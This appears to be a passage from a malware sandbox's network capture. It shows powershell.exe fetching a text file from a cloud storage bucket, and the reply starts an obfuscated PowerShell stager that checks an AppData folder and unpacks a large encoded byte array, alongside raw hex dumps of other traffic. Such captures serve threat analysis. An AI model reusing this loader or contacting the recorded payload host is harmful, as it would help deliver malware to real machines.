2024-12-10 11:48:20 UTC	1369	IN	Data Raw: 10 c9 54 5c ea ca 9f 8c 63 21 23 b1 7c 7c 2a fe ff 9b a5 95 4f 34 47 28 8d 95 d2 1d a1 ad 15 ca 94 c2 70 ee 7b 3f 8c ff 23 c2 f8 91 59 c6 8f ac 32 22 b3 60 44 56 c1 88 ac 82 11 55 e8 c8 aa 6a 4e 54 01 33 5b 00 39 7d 0a 24 67 0f 28 0c b0 d9 b3 07 c4 48 11 59 35 22 12 18 11 09 f0 9c 8d 02 47 44 02 23 12 60 1b 45 72 05 c8 1d a0 b9 82 e4 28 92 a3 5a 9d 3e c0 90 a3 44 8b 95 86 25 ac 5d c3 5b cb 07 ba d7 00 d9 a3 d7 70 d6 b0 1c 21 94 0d 71 55 bb 26 27 51 20 83 24 f7 6a 32 b6 7f fd 95 ea c3 42 1c cb 9b 89 b8 ac f6 ee 09 d2 8d c3 5e 83 60 34 aa 8a 4c a9 5b fb cb 0a d0 52 08 8e 87 ac bc 0d 51 ab 2b fd 5b d6 71 e4 92 c4 96 25 04 c3 c0 ab 88 13 ea 88 bf db ba 12 a4 89 41 96 df 24 e6 a2 af e5 4e 11 41 01 61 4b ca 64 b2 27 82 20 81 a5 37 7e 1c ba 74 b0 61 fe 6f 6a ec Data Ascii: T\c!#\|\|*O4G(p{?#Y2"`DVUjNT3[9}$g(HY5"GD#`Er(Z>D%][p!qU&'Q $j2B^`4L[RQ+[q%A$NAaKd' 7~taoj
2024-12-10 11:48:20 UTC	1369	IN	Data Raw: 2f c3 65 58 85 35 38 80 13 b8 86 3b f8 88 ef 08 98 90 c9 99 86 e9 59 98 45 58 8a 65 59 9d ad d8 86 ed d9 93 7d 38 82 63 38 81 f3 38 9f 8b b8 9c 1b b9 95 3b b8 93 7b 78 84 17 f8 90 78 78 f5 ff ad b4 93 ae 32 54 c6 c8 04 99 2a 33 64 9e 2c 93 55 b2 4e 36 cb 41 39 2b 17 e4 b2 6c eb 5d 97 bb 72 5f de c8 3b f9 bc 3d 52 af a4 ba 3e 6e 46 d7 df 0d 77 b3 ba d9 b7 3f 3d 3e ba 9f dd 2f 5e 75 ed b5 ed 85 e2 da c7 0d ff 8d e7 c6 2d 89 db 13 77 20 ee c4 1f cf 9b b8 0f f1 c5 e2 2b 7e ea 4e 7b 9d 76 3f ed 06 be fc 3f 12 f3 38 9e 20 0f 7b b4 f3 ce 79 e6 3c 71 8e 3a 87 a3 fb 44 23 ea 5d 54 b7 a8 62 51 2a 32 c9 be 64 9f b4 8f d8 fb ec 11 76 5f bb a2 1d 6d 87 73 32 c0 7f 01 fe c3 bf 01 fe c5 df f8 2b 7f e6 f7 fc 92 9f f1 53 7e cc 8f f8 26 5f e5 53 7c 9c 77 f0 56 de c2 2b 78 Data Ascii: /eX58;YEXeY}8c88;{xxx2T3d,UN6A9+l]r_;=R>nFw?=>/^u-w +~N{v??8 {y<q:D#]TbQ2dv_ms2+S~&_S\|wV+x
2024-12-10 11:48:20 UTC	1369	IN	Data Raw: 74 cd 2c 7a 75 96 b5 5a 7d 0f 0c 4f 6d 6c f2 6b ad b7 b5 0e 5d 59 e9 b4 81 e1 8c 06 21 60 f2 e6 84 26 36 48 39 4c d2 44 e1 f8 73 46 a0 69 16 63 f2 17 be e4 76 c7 01 12 18 9a 86 97 1e 5d f6 b8 b2 2d 0b b7 18 8b ef 7a de 4f 25 4c 7b 5e 8f cc c8 19 42 26 8a 08 a4 92 6a 6c 6e 6c d8 c1 a2 c8 b7 0d 04 43 f6 b3 bc c0 c0 0d 73 56 fd d7 19 ac 0c 98 8c 97 83 e5 78 02 64 0d c7 c1 64 bc 3c 5c 8e 27 70 9c c6 1b 06 ed 20 00 82 a0 fd a8 4f 0f 8b ad dd fc f2 b8 a2 b0 fb 64 bc ac c6 41 bb 35 28 d9 7d d0 6a 07 df 82 20 68 77 3b c2 76 10 e0 e8 6a 69 97 4e c7 7b 64 1a 33 5b 49 9a a4 b3 82 3f af 97 5f 11 3e 57 f6 95 ea 5c 51 60 52 b9 6f 39 6b 2f ac 53 e7 ca 61 31 dd d6 af 11 65 da 78 8a 98 5e e0 39 5c c6 15 d2 24 5d 42 26 2c 2f a4 62 f2 c5 ea e5 01 ca 34 49 c5 7c 15 50 4c ea Data Ascii: t,zuZ}Omlk]Y!`&6H9LDsFicv]-zO%L{^B&jlnlCsVxdd<\'p OdA5(}j hw;vjiN{d3[I?_>W\Q`Ro9k/Sa1ex^9\$]B&,/b4I\|PL
2024-12-10 11:48:20 UTC	1369	IN	Data Raw: 10 02 d2 bf f6 1c 1e c6 15 72 e2 67 0c fc 30 da d5 83 6d 66 d7 06 63 57 b9 54 db 3a 4a 8a e8 e9 8c 12 7f 50 2a 3c 68 6c e7 5b db eb 6b 4d 4b 08 2e 2d d3 de 9b cf db 31 97 69 e3 60 9c 4f d2 54 d3 d7 ce be c3 96 8a 33 d3 b2 4f 4f 26 4e b8 fe 1b e7 ec 4e 2b 02 2c d3 94 a6 65 5b 42 88 54 0a d7 6c f5 7c df 37 3c b7 df 5b cc 3a 1b 63 6e 9a 8e 2d 25 f3 19 33 ad a4 ef 0d 07 7b bd de 42 7e b8 3d 79 9b e8 91 cb 33 3e 0e a9 21 84 35 77 bb da a1 23 65 9d 23 f9 ea 3e cc b5 17 e8 f3 2f e4 98 10 c4 fc fa 8d ab df e4 32 5d d6 b7 de 5a 2f 1b 93 f1 52 bd 43 cf ef f1 17 b7 2c 97 94 2e 97 b7 fc c5 b0 c1 5f 54 e3 31 30 1e 57 7f 31 24 ce 4b f6 cb a4 ca 0b 66 33 d7 db b8 1f a4 e4 be a3 7e 85 67 7f c3 37 0a cb b2 6c c1 39 5e 79 a4 df be 31 d6 3d fa 65 ec da 82 73 69 59 d6 75 75 Data Ascii: rg0mfcWT:JP*<hl[kMK.-1i`OT3OO&NN+,e[BTl\|7<[:cn-%3{B~=y3>!5w#e#>/2]Z/RC,._T10W1$Kf3~g7l9^y1=esiYuu
2024-12-10 11:48:20 UTC	1369	IN	Data Raw: 09 48 42 b6 08 99 e4 41 07 11 52 88 17 13 7f e8 b3 ac ca 38 2e 19 5d 24 5d ef b7 69 55 63 dd b4 23 c7 b6 ed 28 b6 1d 29 cd a3 df c3 d5 f3 15 bc 95 76 12 5b a6 69 c5 49 cb 73 6c 6b e7 47 a4 6d 47 89 ed 38 4e 6c 99 a6 fc fb a3 43 5c 3d 7a 67 a3 ed d8 49 da e9 24 a9 6d 0b 61 dd 64 11 49 c8 b5 e7 ee df 79 5f 4f ee 26 2f 24 af 27 9f 21 a4 ee ad c1 a2 c8 33 d5 6c 76 ae 46 d9 28 cb ef 62 3b 8d e2 28 b6 9c 63 49 9a d4 f3 72 5e 6a 49 e0 74 d3 8b 6a 51 2d dd 9c 6c d2 1c 22 95 54 75 99 9f 4a 45 28 0b 05 82 b6 0c 8b 94 cc 64 36 ca 46 c5 a8 c8 ab bc 5a 54 8b 7a 51 2f cb 65 39 2f e7 e9 3c 4d e2 24 8e e2 48 3d 37 70 5c d7 ef 76 7d e5 ba e9 33 7a e2 34 9a 91 14 42 c6 8d 86 93 e8 82 95 de 20 88 75 5f c5 67 66 49 92 b4 37 36 da 26 d2 34 bb c3 14 42 48 c3 94 14 34 b8 ef e8 Data Ascii: HBAR8.]$]iUc#()v[iIslkGmG8NlC\=zgI$madIy_O&/$'!3lvF(b;(cIr^jItjQ-l"TuJE(d6FZTzQ/e9/<M$H=7p\v}3z4B u_gfI76&4BH4
2024-12-10 11:48:20 UTC	1369	IN	Data Raw: 9a d4 c5 b2 4e e7 55 b1 ac d3 79 bd dc c6 b2 5e 94 f5 72 1b cb ea da c2 03 2c 0b 55 6d aa 7e 3c 2f ca f9 3e 16 2a 0b 67 5a 53 53 4a d7 91 ce 04 b3 73 96 a4 99 2c ea bf 87 24 2d ea e5 36 ca 38 cb eb 62 59 33 43 48 d4 b1 b4 d6 94 65 4a b1 6b 8a 69 e1 33 8b e5 eb 58 d6 69 72 60 c5 f7 53 b2 8f 44 65 a3 2e 22 25 55 11 9e 13 87 52 23 51 fe f7 10 b3 79 9a 28 99 e1 bf 13 84 42 6b c0 e5 7a 13 80 c1 f4 16 a5 52 6f 52 0a aa a7 8c 0a a6 c5 8c e9 5c f3 19 73 a4 74 18 f3 35 ae 03 94 c6 1a 13 94 a5 3a 05 a5 4d 5d 52 da 14 94 52 03 40 53 e7 2e 1a 9a 08 91 48 99 9c e3 50 4a a9 68 be bf 19 65 b7 8b 52 e0 fd 20 50 9a be 7e f4 2d fe 3a 30 56 ea 23 36 d7 26 ab 2b b9 c6 ec 81 a6 7d 0b 63 9b 98 72 c3 90 a0 8c 51 4d 19 37 6b ba 52 4a 57 8a 73 07 5f 85 52 9a a6 31 0e 9b de 3d b0 Data Ascii: NUy^r,Um~</>*gZSSJs,$-68bY3CHeJki3Xir`SDe."%UR#Qy(BkzRoR\st5:M]RR@S.HPJheR P~-:0V#6&+}crQM7kRJWs_R1=
2024-12-10 11:48:20 UTC	1369	IN	Data Raw: b6 e3 34 3e f6 60 e3 3f 3a fa 8b 51 9a 02 69 3a 42 ef f5 04 0e 82 a0 7d f4 17 ed 20 08 82 36 7a ed 20 78 66 df 27 e7 a7 1f b5 9d 34 76 ec 8f 3d 6a 3b 49 e2 d8 8f 20 4d 47 87 59 7d f4 fe ff 56 10 b4 bd 1d 86 41 88 41 ac 6b cf e1 87 71 85 8c c8 49 72 33 79 80 3c 45 be 8e bc 95 7c 98 7c 9a fc 20 21 f5 fc 76 7b db 58 8a e7 2e 64 17 51 1f 4e c6 ac 7d a4 49 99 8e 5c 54 79 90 a6 33 2e f2 4c aa 78 13 7d 00 bc 63 9b 2d eb d9 12 a1 75 40 9c a4 7e 8f 03 f3 22 5d ff 41 8b 0f aa 16 28 d9 a7 1e 1d 69 79 7c dc ad f2 7d 8c 32 0b f4 55 37 0a 91 08 f1 7c 21 12 46 39 63 af 04 3e 4a d9 0d 10 ae 23 71 03 65 3a c4 0b 28 65 f4 05 1c 54 9f 38 52 4a cd b2 34 46 e3 43 47 2a a5 ec c7 ea 60 9d 67 ab d1 1a d3 87 fb a4 4f 6c b7 fd a7 1c 29 65 f2 e1 4f 16 bf cf 5c 13 8c e2 ec 3a 13 92 Data Ascii: 4>`?:Qi:B} 6z xf'4v=j;I MGY}VAAkqIr3y<E\|\| !v{X.dQN}I\Ty3.Lx}c-u@~"]A(iy\|}2U7\|!F9c>J#qe:(eT8RJ4FCG*`gOl)eO\:
2024-12-10 11:48:20 UTC	1369	IN	Data Raw: fc d5 e3 1f 7e 6b 01 4c e8 ea 05 fe 89 12 5c 25 eb e4 90 dc 4e 1e 27 04 89 b2 ec dc 61 4a 83 5d 22 20 5a f3 3e 4a 91 20 25 ac 7e e3 99 ca 8b 3c 1b 8e 94 ec 22 d2 96 4c 25 92 1e 4a b1 6f 82 9f ed 33 2b cb 9f b3 2c 86 bf 6d 52 b4 9a 2b 47 cf ae 34 5b 40 ab b9 d2 6d ea 20 c5 e6 f9 bb 6f d4 43 ec d5 69 cd ee 4a b3 80 a1 3b 47 57 1d 43 d7 0d 07 87 8e a1 e3 e8 6b 3a a0 eb ae a3 1b 86 ee 38 c6 cf 14 f5 73 5c dd 80 6e 38 8e 8e bb db c5 ff 38 74 05 ad f5 5f 2a da 4d b4 34 c7 d6 74 fd ec 59 5d d7 6c 47 6b a1 79 ce d5 75 5d 77 7f ce c9 4d e8 34 9c 9f 5b d7 9d e1 41 17 5b 44 5e ce 31 c9 ad f4 32 0e c9 ed e4 11 f2 62 f2 7a f2 41 bc 24 20 36 30 85 29 19 06 9c 69 de 2e 96 f5 b4 ca 46 1a b7 5b 7e 6e a8 a4 92 d9 74 26 b3 e9 6c 84 3f ea c2 cd 7c 59 4a 8c 0e b0 dc c3 3c 56 Data Ascii: ~kL\%N'aJ]" Z>J %~<"L%Jo3+,mR+G4[@m oCiJ;GWCk:8s\n88t_*M4tY]lGkyu]wM4[A[D^12bzA$ 60)i.F[~nt&l?\|YJ<V
2024-12-10 11:48:20 UTC	1369	IN	Data Raw: 8a b8 b5 c1 e0 14 3b f5 29 8a 6e 6f 63 bb 37 ee db c3 7e 37 e9 63 45 c9 eb 90 b5 d5 6d 01 1b 88 a2 3e 98 d6 e9 14 d4 a2 fd dd 6e 63 da ed 72 cb da e8 f5 80 81 0a 26 31 b7 07 29 4e 30 53 bb f6 ab f8 1a 9e 25 53 42 26 e0 de d5 b3 1c fd bb 44 b6 80 54 97 6f 9e af 61 38 dc d9 39 7b 76 67 67 38 04 3d 76 ec be af f6 7d c7 8e d1 ab 1b d1 0e 2f e0 a1 d3 a7 bd cf 3d 55 f3 39 ef f4 e9 87 88 46 c8 b5 df c3 3f e1 59 a2 11 9f b4 c8 1b c9 5b c9 fb c8 b7 90 4f 11 52 cb 6c 64 a8 c8 c2 5b d7 b3 c8 55 2d e3 a4 5c 56 79 96 6a 0a 8b 05 88 11 39 72 bf 33 a0 8e 72 21 91 61 d5 ce 8b bc 58 a4 f6 21 43 32 32 9d 2d cb 79 9a d0 03 0d c4 4e ac 78 5f aa 04 95 d2 e5 1f 10 67 ae 15 d1 03 37 2d 15 e3 33 c3 cf 82 4b 70 81 3e 84 00 84 c0 86 80 10 10 a7 9e 3a 73 86 62 6b eb 62 00 ea 07 51 Data Ascii: ;)noc7~7cEm>ncr&1)N0S%SB&DToa89{vgg8=v}/=U9F?Y[ORld[U-\Vyj9r3r!aX!C22-yNx_g7-3Kp>:sbkbQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.17	49729	47.254.218.16	443	7580	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 11:48:35 UTC	213	OUT	GET /class/initiate/JidW3mE7.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: asgbucket.oss-ap-southeast-3.aliyuncs.com Connection: Keep-Alive
2024-12-10 11:48:35 UTC	572	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Tue, 10 Dec 2024 11:48:35 GMT Content-Type: text/plain Content-Length: 18961726 Connection: close Vary: Accept-Encoding x-oss-request-id: 67582A9345E02A3837FF86B4 Accept-Ranges: bytes ETag: "4A346CC15DE3E5F9FED1011FA237AB39" Last-Modified: Mon, 09 Dec 2024 15:18:35 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 16010225198185555757 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: SjRswV3j5fn+0QEfojerOQ== x-oss-server-time: 2
2024-12-10 11:48:35 UTC	15812	IN	Data Raw: 24 45 72 72 6f 72 41 63 74 69 6f 6e 50 72 65 66 65 72 65 6e 63 65 20 3d 20 27 53 74 6f 70 27 3b 20 24 46 6f 6c 64 65 72 77 51 4c 58 43 54 76 56 20 3d 20 4a 6f 69 6e 2d 50 61 74 68 20 24 45 6e 76 3a 41 70 70 44 61 74 61 20 27 4e 4e 73 6f 54 73 37 62 27 3b 20 69 66 20 28 54 65 73 74 2d 50 61 74 68 20 24 46 6f 6c 64 65 72 77 51 4c 58 43 54 76 56 29 20 7b 20 45 78 69 74 3b 20 7d 3b 20 24 45 6e 63 6f 64 65 64 44 61 74 61 6e 4a 57 6d 6e 65 44 44 20 3d 20 40 28 38 35 2c 20 36 39 2c 20 31 31 35 2c 20 36 38 2c 20 36 36 2c 20 36 36 2c 20 38 31 2c 20 36 35 2c 20 36 35 2c 20 36 35 2c 20 36 35 2c 20 37 33 2c 20 36 35 2c 20 37 31 2c 20 31 31 31 2c 20 31 32 30 2c 20 31 30 35 2c 20 38 36 2c 20 31 31 30 2c 20 37 38 2c 20 31 31 39 2c 20 38 36 2c 20 35 35 2c 20 38 31 2c 20 Data Ascii: $ErrorActionPreference = 'Stop'; $FolderwQLXCTvV = Join-Path $Env:AppData 'NNsoTs7b'; if (Test-Path $FolderwQLXCTvV) { Exit; }; $EncodedDatanJWmneDD = @(85, 69, 115, 68, 66, 66, 81, 65, 65, 65, 65, 73, 65, 71, 111, 120, 105, 86, 110, 78, 119, 86, 55, 81,
2024-12-10 11:48:35 UTC	16384	IN	Data Raw: 20 31 30 36 2c 20 37 35 2c 20 31 31 36 2c 20 31 30 34 2c 20 31 30 34 2c 20 37 36 2c 20 31 31 34 2c 20 31 31 32 2c 20 31 30 36 2c 20 31 31 37 2c 20 36 39 2c 20 37 38 2c 20 34 38 2c 20 36 36 2c 20 31 30 31 2c 20 37 39 2c 20 37 38 2c 20 31 30 35 2c 20 35 31 2c 20 31 31 37 2c 20 31 30 38 2c 20 37 36 2c 20 31 31 36 2c 20 38 31 2c 20 31 30 32 2c 20 37 39 2c 20 37 34 2c 20 36 36 2c 20 31 30 36 2c 20 38 34 2c 20 35 34 2c 20 31 30 36 2c 20 37 36 2c 20 37 38 2c 20 39 30 2c 20 31 31 31 2c 20 31 31 32 2c 20 31 31 38 2c 20 37 36 2c 20 31 31 38 2c 20 37 30 2c 20 38 36 2c 20 37 35 2c 20 37 33 2c 20 36 35 2c 20 31 30 35 2c 20 34 38 2c 20 31 31 37 2c 20 31 31 39 2c 20 36 35 2c 20 38 32 2c 20 31 31 32 2c 20 37 30 2c 20 35 34 2c 20 38 33 2c 20 37 38 2c 20 37 38 2c 20 39 38 Data Ascii: 106, 75, 116, 104, 104, 76, 114, 112, 106, 117, 69, 78, 48, 66, 101, 79, 78, 105, 51, 117, 108, 76, 116, 81, 102, 79, 74, 66, 106, 84, 54, 106, 76, 78, 90, 111, 112, 118, 76, 118, 70, 86, 75, 73, 65, 105, 48, 117, 119, 65, 82, 112, 70, 54, 83, 78, 78, 98
2024-12-10 11:48:35 UTC	16384	IN	Data Raw: 2c 20 34 38 2c 20 31 30 33 2c 20 39 30 2c 20 36 39 2c 20 31 30 36 2c 20 38 36 2c 20 31 31 36 2c 20 38 38 2c 20 39 30 2c 20 36 37 2c 20 35 31 2c 20 31 31 37 2c 20 36 38 2c 20 37 39 2c 20 31 31 33 2c 20 37 39 2c 20 38 38 2c 20 38 36 2c 20 37 34 2c 20 31 31 34 2c 20 37 34 2c 20 31 30 32 2c 20 38 33 2c 20 37 35 2c 20 35 30 2c 20 38 39 2c 20 36 39 2c 20 31 31 30 2c 20 36 35 2c 20 38 38 2c 20 37 35 2c 20 38 37 2c 20 31 31 35 2c 20 31 30 32 2c 20 35 36 2c 20 31 30 33 2c 20 31 30 37 2c 20 38 33 2c 20 36 39 2c 20 35 35 2c 20 38 30 2c 20 31 31 38 2c 20 37 37 2c 20 36 35 2c 20 31 31 38 2c 20 31 31 34 2c 20 37 38 2c 20 31 31 34 2c 20 39 39 2c 20 31 30 34 2c 20 34 38 2c 20 31 32 32 2c 20 37 30 2c 20 37 34 2c 20 39 30 2c 20 36 36 2c 20 36 38 2c 20 31 30 32 2c 20 37 33 Data Ascii: , 48, 103, 90, 69, 106, 86, 116, 88, 90, 67, 51, 117, 68, 79, 113, 79, 88, 86, 74, 114, 74, 102, 83, 75, 50, 89, 69, 110, 65, 88, 75, 87, 115, 102, 56, 103, 107, 83, 69, 55, 80, 118, 77, 65, 118, 114, 78, 114, 99, 104, 48, 122, 70, 74, 90, 66, 68, 102, 73
2024-12-10 11:48:35 UTC	16384	IN	Data Raw: 31 31 34 2c 20 35 31 2c 20 31 31 36 2c 20 31 31 35 2c 20 31 31 31 2c 20 38 35 2c 20 37 30 2c 20 37 35 2c 20 31 31 30 2c 20 38 36 2c 20 37 32 2c 20 31 31 38 2c 20 31 30 37 2c 20 31 30 39 2c 20 37 37 2c 20 37 37 2c 20 31 31 36 2c 20 31 30 33 2c 20 35 34 2c 20 31 30 36 2c 20 31 30 37 2c 20 35 34 2c 20 39 38 2c 20 31 31 38 2c 20 35 30 2c 20 37 39 2c 20 31 31 30 2c 20 36 35 2c 20 31 31 36 2c 20 31 32 30 2c 20 39 39 2c 20 31 30 36 2c 20 31 31 33 2c 20 38 35 2c 20 37 39 2c 20 31 30 35 2c 20 35 32 2c 20 31 32 32 2c 20 31 30 39 2c 20 37 35 2c 20 31 31 31 2c 20 34 38 2c 20 31 31 36 2c 20 31 31 37 2c 20 31 31 37 2c 20 31 30 32 2c 20 37 33 2c 20 39 38 2c 20 38 39 2c 20 31 30 31 2c 20 35 32 2c 20 35 34 2c 20 34 38 2c 20 31 30 30 2c 20 31 31 33 2c 20 37 37 2c 20 31 31 Data Ascii: 114, 51, 116, 115, 111, 85, 70, 75, 110, 86, 72, 118, 107, 109, 77, 77, 116, 103, 54, 106, 107, 54, 98, 118, 50, 79, 110, 65, 116, 120, 99, 106, 113, 85, 79, 105, 52, 122, 109, 75, 111, 48, 116, 117, 117, 102, 73, 98, 89, 101, 52, 54, 48, 100, 113, 77, 11
2024-12-10 11:48:35 UTC	16384	IN	Data Raw: 36 2c 20 34 33 2c 20 35 35 2c 20 37 32 2c 20 31 30 38 2c 20 37 30 2c 20 31 30 39 2c 20 31 31 37 2c 20 37 35 2c 20 31 30 34 2c 20 31 30 32 2c 20 34 33 2c 20 34 37 2c 20 38 32 2c 20 37 38 2c 20 36 35 2c 20 35 36 2c 20 37 34 2c 20 34 38 2c 20 38 35 2c 20 31 31 31 2c 20 35 36 2c 20 39 37 2c 20 31 31 39 2c 20 35 30 2c 20 38 39 2c 20 31 31 39 2c 20 31 30 37 2c 20 35 32 2c 20 31 31 37 2c 20 38 36 2c 20 37 35 2c 20 34 39 2c 20 31 31 38 2c 20 31 31 33 2c 20 37 33 2c 20 35 34 2c 20 37 31 2c 20 34 33 2c 20 37 37 2c 20 37 32 2c 20 31 30 34 2c 20 31 32 30 2c 20 37 34 2c 20 38 37 2c 20 36 37 2c 20 31 32 31 2c 20 31 30 33 2c 20 34 39 2c 20 31 31 37 2c 20 34 33 2c 20 31 30 37 2c 20 31 30 30 2c 20 36 39 2c 20 37 33 2c 20 39 30 2c 20 39 37 2c 20 31 31 30 2c 20 36 37 2c 20 Data Ascii: 6, 43, 55, 72, 108, 70, 109, 117, 75, 104, 102, 43, 47, 82, 78, 65, 56, 74, 48, 85, 111, 56, 97, 119, 50, 89, 119, 107, 52, 117, 86, 75, 49, 118, 113, 73, 54, 71, 43, 77, 72, 104, 120, 74, 87, 67, 121, 103, 49, 117, 43, 107, 100, 69, 73, 90, 97, 110, 67,
2024-12-10 11:48:36 UTC	16384	IN	Data Raw: 2c 20 31 30 36 2c 20 38 30 2c 20 35 37 2c 20 38 30 2c 20 39 39 2c 20 31 30 35 2c 20 31 30 36 2c 20 35 31 2c 20 38 30 2c 20 31 32 32 2c 20 31 31 31 2c 20 36 38 2c 20 31 30 34 2c 20 35 31 2c 20 31 32 31 2c 20 31 32 31 2c 20 31 31 37 2c 20 31 30 38 2c 20 37 30 2c 20 39 30 2c 20 37 35 2c 20 31 31 38 2c 20 31 31 31 2c 20 31 30 39 2c 20 31 32 32 2c 20 37 34 2c 20 37 37 2c 20 31 31 37 2c 20 31 30 35 2c 20 31 30 34 2c 20 31 31 32 2c 20 39 38 2c 20 35 36 2c 20 38 39 2c 20 37 32 2c 20 38 30 2c 20 34 37 2c 20 37 32 2c 20 34 33 2c 20 34 38 2c 20 38 36 2c 20 38 30 2c 20 31 30 34 2c 20 37 32 2c 20 35 32 2c 20 38 38 2c 20 37 33 2c 20 37 32 2c 20 31 31 34 2c 20 36 37 2c 20 31 30 37 2c 20 36 37 2c 20 38 36 2c 20 35 31 2c 20 31 31 34 2c 20 31 30 38 2c 20 31 31 32 2c 20 31 Data Ascii: , 106, 80, 57, 80, 99, 105, 106, 51, 80, 122, 111, 68, 104, 51, 121, 121, 117, 108, 70, 90, 75, 118, 111, 109, 122, 74, 77, 117, 105, 104, 112, 98, 56, 89, 72, 80, 47, 72, 43, 48, 86, 80, 104, 72, 52, 88, 73, 72, 114, 67, 107, 67, 86, 51, 114, 108, 112, 1
2024-12-10 11:48:36 UTC	16384	IN	Data Raw: 32 2c 20 34 33 2c 20 37 36 2c 20 35 31 2c 20 31 31 37 2c 20 38 32 2c 20 31 30 34 2c 20 31 31 32 2c 20 37 39 2c 20 36 37 2c 20 35 34 2c 20 39 39 2c 20 39 30 2c 20 38 37 2c 20 37 38 2c 20 38 36 2c 20 37 39 2c 20 31 31 32 2c 20 39 39 2c 20 38 35 2c 20 38 34 2c 20 37 34 2c 20 31 30 31 2c 20 35 37 2c 20 38 36 2c 20 34 39 2c 20 31 31 32 2c 20 31 31 37 2c 20 36 35 2c 20 31 30 31 2c 20 38 38 2c 20 31 31 37 2c 20 37 32 2c 20 31 31 38 2c 20 31 31 32 2c 20 35 34 2c 20 38 30 2c 20 31 30 32 2c 20 35 33 2c 20 38 37 2c 20 31 30 38 2c 20 38 39 2c 20 38 33 2c 20 31 30 30 2c 20 38 35 2c 20 31 31 32 2c 20 38 35 2c 20 31 30 39 2c 20 37 37 2c 20 38 37 2c 20 31 31 36 2c 20 35 36 2c 20 38 35 2c 20 31 31 31 2c 20 38 32 2c 20 34 39 2c 20 38 30 2c 20 31 31 32 2c 20 31 30 36 2c 20 Data Ascii: 2, 43, 76, 51, 117, 82, 104, 112, 79, 67, 54, 99, 90, 87, 78, 86, 79, 112, 99, 85, 84, 74, 101, 57, 86, 49, 112, 117, 65, 101, 88, 117, 72, 118, 112, 54, 80, 102, 53, 87, 108, 89, 83, 100, 85, 112, 85, 109, 77, 87, 116, 56, 85, 111, 82, 49, 80, 112, 106,
2024-12-10 11:48:36 UTC	16384	IN	Data Raw: 32 2c 20 31 30 37 2c 20 31 30 37 2c 20 37 34 2c 20 39 39 2c 20 39 30 2c 20 31 30 34 2c 20 38 37 2c 20 31 31 39 2c 20 31 30 36 2c 20 38 32 2c 20 31 31 31 2c 20 31 30 30 2c 20 35 30 2c 20 34 39 2c 20 31 30 34 2c 20 38 39 2c 20 37 31 2c 20 31 31 35 2c 20 37 31 2c 20 31 31 32 2c 20 38 31 2c 20 37 32 2c 20 34 37 2c 20 37 31 2c 20 35 34 2c 20 37 33 2c 20 31 31 34 2c 20 36 36 2c 20 39 37 2c 20 38 33 2c 20 39 38 2c 20 31 32 32 2c 20 36 35 2c 20 37 39 2c 20 31 31 39 2c 20 31 30 39 2c 20 37 35 2c 20 31 31 38 2c 20 31 30 30 2c 20 39 30 2c 20 36 36 2c 20 38 37 2c 20 31 30 39 2c 20 37 37 2c 20 35 31 2c 20 38 33 2c 20 31 30 34 2c 20 37 30 2c 20 37 35 2c 20 34 38 2c 20 35 31 2c 20 37 34 2c 20 31 31 39 2c 20 31 30 30 2c 20 38 30 2c 20 35 30 2c 20 37 33 2c 20 31 31 32 2c Data Ascii: 2, 107, 107, 74, 99, 90, 104, 87, 119, 106, 82, 111, 100, 50, 49, 104, 89, 71, 115, 71, 112, 81, 72, 47, 71, 54, 73, 114, 66, 97, 83, 98, 122, 65, 79, 119, 109, 75, 118, 100, 90, 66, 87, 109, 77, 51, 83, 104, 70, 75, 48, 51, 74, 119, 100, 80, 50, 73, 112,
2024-12-10 11:48:36 UTC	16384	IN	Data Raw: 34 2c 20 31 31 38 2c 20 38 36 2c 20 34 37 2c 20 37 34 2c 20 36 38 2c 20 31 31 33 2c 20 39 38 2c 20 37 35 2c 20 34 33 2c 20 39 37 2c 20 38 32 2c 20 31 30 33 2c 20 31 31 31 2c 20 38 37 2c 20 36 36 2c 20 34 38 2c 20 31 32 31 2c 20 34 39 2c 20 31 32 30 2c 20 37 30 2c 20 38 34 2c 20 31 31 30 2c 20 31 30 34 2c 20 35 35 2c 20 38 38 2c 20 39 30 2c 20 36 36 2c 20 31 31 37 2c 20 37 37 2c 20 37 33 2c 20 39 37 2c 20 34 39 2c 20 31 31 32 2c 20 34 39 2c 20 37 32 2c 20 31 31 33 2c 20 31 30 30 2c 20 31 31 38 2c 20 31 30 32 2c 20 39 39 2c 20 34 39 2c 20 38 37 2c 20 37 39 2c 20 31 30 37 2c 20 31 31 39 2c 20 35 36 2c 20 38 37 2c 20 39 39 2c 20 38 32 2c 20 37 37 2c 20 31 31 38 2c 20 31 31 35 2c 20 37 39 2c 20 37 34 2c 20 35 34 2c 20 35 30 2c 20 31 32 30 2c 20 35 31 2c 20 35 Data Ascii: 4, 118, 86, 47, 74, 68, 113, 98, 75, 43, 97, 82, 103, 111, 87, 66, 48, 121, 49, 120, 70, 84, 110, 104, 55, 88, 90, 66, 117, 77, 73, 97, 49, 112, 49, 72, 113, 100, 118, 102, 99, 49, 87, 79, 107, 119, 56, 87, 99, 82, 77, 118, 115, 79, 74, 54, 50, 120, 51, 5
2024-12-10 11:48:36 UTC	16384	IN	Data Raw: 20 31 32 31 2c 20 37 35 2c 20 35 32 2c 20 31 31 36 2c 20 37 30 2c 20 38 39 2c 20 38 32 2c 20 36 37 2c 20 37 33 2c 20 37 35 2c 20 31 30 37 2c 20 31 30 36 2c 20 34 38 2c 20 39 30 2c 20 31 30 39 2c 20 31 30 34 2c 20 31 30 34 2c 20 31 30 34 2c 20 38 32 2c 20 31 30 34 2c 20 38 32 2c 20 31 31 34 2c 20 38 34 2c 20 37 32 2c 20 38 32 2c 20 38 30 2c 20 35 33 2c 20 34 37 2c 20 38 35 2c 20 37 33 2c 20 36 37 2c 20 36 35 2c 20 31 32 30 2c 20 31 31 38 2c 20 37 37 2c 20 31 31 30 2c 20 31 31 36 2c 20 38 38 2c 20 38 30 2c 20 39 37 2c 20 31 31 38 2c 20 36 35 2c 20 39 39 2c 20 31 30 34 2c 20 34 33 2c 20 31 31 36 2c 20 31 32 31 2c 20 31 31 38 2c 20 38 32 2c 20 38 31 2c 20 37 30 2c 20 31 32 31 2c 20 31 31 32 2c 20 38 38 2c 20 31 